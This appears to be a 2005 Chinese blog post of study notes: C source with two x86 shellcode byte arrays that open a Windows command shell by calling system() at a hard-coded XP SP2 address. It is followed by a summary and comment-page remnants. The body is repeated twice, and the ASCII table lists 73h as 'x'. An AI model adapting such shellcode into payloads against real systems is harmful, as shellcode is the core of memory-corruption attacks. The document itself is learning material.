1 //系统环境:xpsp2+Microsoft Visual Studio .NET 2003
2 //这是我学习中写出来的。算是读书笔记一类的吧!
3 //时间 2005-12-03
4 //内容是关于shellcode的初步编写。此时我的系统函数地址是0xC7,0x93,0xBF,0x77。也就是77BF93C7
5 作者:emissary
6
7
8 //这两天。听说当兵的那些人走了,不知道龚哲她是否也走了。
9 //再放一表上来。以后可能会用到。
10 /*
11 61h a
12 62h b
13 63h c
14 64h d
15 65 e
16 66 f
17 67 g
18 68 h
19 69 i
20 6a j
21 6b k
22 6c l
23 6d m
24 6e n
25 6f o
26 70 p
27 71 q
28 72 r
29 73 x
30 74 t
31 75 u
32 76 v
33 77 w
34 78 x
35 79 y
36 7a z
37 */
38
39 #include <stdio.h>
40 #include <windows.h>
41 #include <winbase.h>
42
43 //这个是网上的一代码。和我写的不一样。环境不同。但两个都能用。
44 char shellcode_command[] = {
45 0x8B,0xE5, /*mov esp, ebp */
46 0x55, /*push ebp */
47 0x8B,0xEC, /*mov ebp, esp */
48 0x83,0xEC,0x0C, /*sub esp, 0000000C */
49 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
50 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
51 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
52 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
53 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
54 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
55 0x33,0xD2, /*xor edx, edx */
56 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
57 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
58 0x50, /*push eax */
59 0xB8,0xC7,0x93,0xBF,0x77, /*mov eax, system地址改成了我本机的。 */
60 0xFF,0xD0 /*call eax */
61 };
62
63
64 //这个是我自己搞出来的code
65 char shellcode_cmd[] ={
66 0x8B,0xE5,
67 0x55,
68 0x8B,0xEC,
69 0x33,0xFF,
70 0x57,
71 0x83,0xEC,0x08,
72 0xC6,0x45,0xF8,0x63,
73 0xC6,0x45,0xF9,0x6D,
74 0xC6,0x45,0xFA,0x64,
75 0xC6,0x45,0xFB,0x2E,
76 0xC6,0x45,0xFC,0x65,
77 0xC6,0x45,0xFD,0x78,
78 0xC6,0x45,0xFE,0x65,
79 0x8D,0x45,0xF8,
80 0x50,
81 0xB8,0xC7,0x93,0xBF,0x77,
82 0xFF,0xD0
83 };
84 //typedef void (*MYPROC)(LPTSTR); //定义函数指针
85
86 int main()
87 {
88 //HINSTANCE LibHandle;
89 //MYPROC ProcAdd;
90 //LibHandle = LoadLibrary("msvcrt.dll");
91 //ProcAdd = (MYPROC) GetProcAddress(LibHandle,"system"); //查找System函数地址
92 //(ProcAdd) ("cmd.exe");
93 //return 0;
94 LoadLibrary("msvcrt.dll");
95 ((void(*)(void))&shellcode_cmd)();//两个都可以运行。一个是command,一个是cmd。
96 return 0;
97
98 //__asm
99 //{
100 //mov esp,ebp ;
101 // push ebp ;
102 //mov ebp,esp ; 把当前esp赋给ebp
103 //xor edi,edi ;
104 // push edi ;压入0,esp-4,; 作用是构造字符串的结尾字符。
105 //sub esp,08h ; 这个我不知道是什么意思来着。
106 //mov byte ptr [ebp-08h],63h ; c
107 //mov byte ptr [ebp-07h],6dh ; m
108 //mov byte ptr [ebp-06h],64h ; d
109 //mov byte ptr [ebp-05h],2Eh ; .
110 // mov byte ptr [ebp-04h],65h ; e
111 // mov byte ptr [ebp-03h],78h ; x
112 // mov byte ptr [ebp-02h],65h ; e一个一个生成串
113 // lea eax,[ebp-08h] ;
114 // push eax ; 串地址作为参数入栈
115 // mov eax, 0x77BF93C7 ;
116 // call eax ; call System函数的地址
117 //}
118 }
2 //这是我学习中写出来的。算是读书笔记一类的吧!
3 //时间 2005-12-03
4 //内容是关于shellcode的初步编写。此时我的系统函数地址是0xC7,0x93,0xBF,0x77。也就是77BF93C7
5 作者:emissary
6
7
8 //这两天。听说当兵的那些人走了,不知道龚哲她是否也走了。
9 //再放一表上来。以后可能会用到。
10 /*
11 61h a
12 62h b
13 63h c
14 64h d
15 65 e
16 66 f
17 67 g
18 68 h
19 69 i
20 6a j
21 6b k
22 6c l
23 6d m
24 6e n
25 6f o
26 70 p
27 71 q
28 72 r
29 73 x
30 74 t
31 75 u
32 76 v
33 77 w
34 78 x
35 79 y
36 7a z
37 */
38
39 #include <stdio.h>
40 #include <windows.h>
41 #include <winbase.h>
42
43 //这个是网上的一代码。和我写的不一样。环境不同。但两个都能用。
44 char shellcode_command[] = {
45 0x8B,0xE5, /*mov esp, ebp */
46 0x55, /*push ebp */
47 0x8B,0xEC, /*mov ebp, esp */
48 0x83,0xEC,0x0C, /*sub esp, 0000000C */
49 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
50 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
51 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
52 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
53 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
54 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
55 0x33,0xD2, /*xor edx, edx */
56 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
57 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
58 0x50, /*push eax */
59 0xB8,0xC7,0x93,0xBF,0x77, /*mov eax, system地址改成了我本机的。 */
60 0xFF,0xD0 /*call eax */
61 };
62
63
64 //这个是我自己搞出来的code
65 char shellcode_cmd[] ={
66 0x8B,0xE5,
67 0x55,
68 0x8B,0xEC,
69 0x33,0xFF,
70 0x57,
71 0x83,0xEC,0x08,
72 0xC6,0x45,0xF8,0x63,
73 0xC6,0x45,0xF9,0x6D,
74 0xC6,0x45,0xFA,0x64,
75 0xC6,0x45,0xFB,0x2E,
76 0xC6,0x45,0xFC,0x65,
77 0xC6,0x45,0xFD,0x78,
78 0xC6,0x45,0xFE,0x65,
79 0x8D,0x45,0xF8,
80 0x50,
81 0xB8,0xC7,0x93,0xBF,0x77,
82 0xFF,0xD0
83 };
84 //typedef void (*MYPROC)(LPTSTR); //定义函数指针
85
86 int main()
87 {
88 //HINSTANCE LibHandle;
89 //MYPROC ProcAdd;
90 //LibHandle = LoadLibrary("msvcrt.dll");
91 //ProcAdd = (MYPROC) GetProcAddress(LibHandle,"system"); //查找System函数地址
92 //(ProcAdd) ("cmd.exe");
93 //return 0;
94 LoadLibrary("msvcrt.dll");
95 ((void(*)(void))&shellcode_cmd)();//两个都可以运行。一个是command,一个是cmd。
96 return 0;
97
98 //__asm
99 //{
100 //mov esp,ebp ;
101 // push ebp ;
102 //mov ebp,esp ; 把当前esp赋给ebp
103 //xor edi,edi ;
104 // push edi ;压入0,esp-4,; 作用是构造字符串的结尾字符。
105 //sub esp,08h ; 这个我不知道是什么意思来着。
106 //mov byte ptr [ebp-08h],63h ; c
107 //mov byte ptr [ebp-07h],6dh ; m
108 //mov byte ptr [ebp-06h],64h ; d
109 //mov byte ptr [ebp-05h],2Eh ; .
110 // mov byte ptr [ebp-04h],65h ; e
111 // mov byte ptr [ebp-03h],78h ; x
112 // mov byte ptr [ebp-02h],65h ; e一个一个生成串
113 // lea eax,[ebp-08h] ;
114 // push eax ; 串地址作为参数入栈
115 // mov eax, 0x77BF93C7 ;
116 // call eax ; call System函数的地址
117 //}
118 }
本文介绍了一个简单的Shellcode编写实例,通过具体的代码展示了如何利用系统调用来执行命令。文中提供了两种不同的Shellcode实现方式,并附带了必要的注释帮助理解。
40

被折叠的 条评论
为什么被折叠?



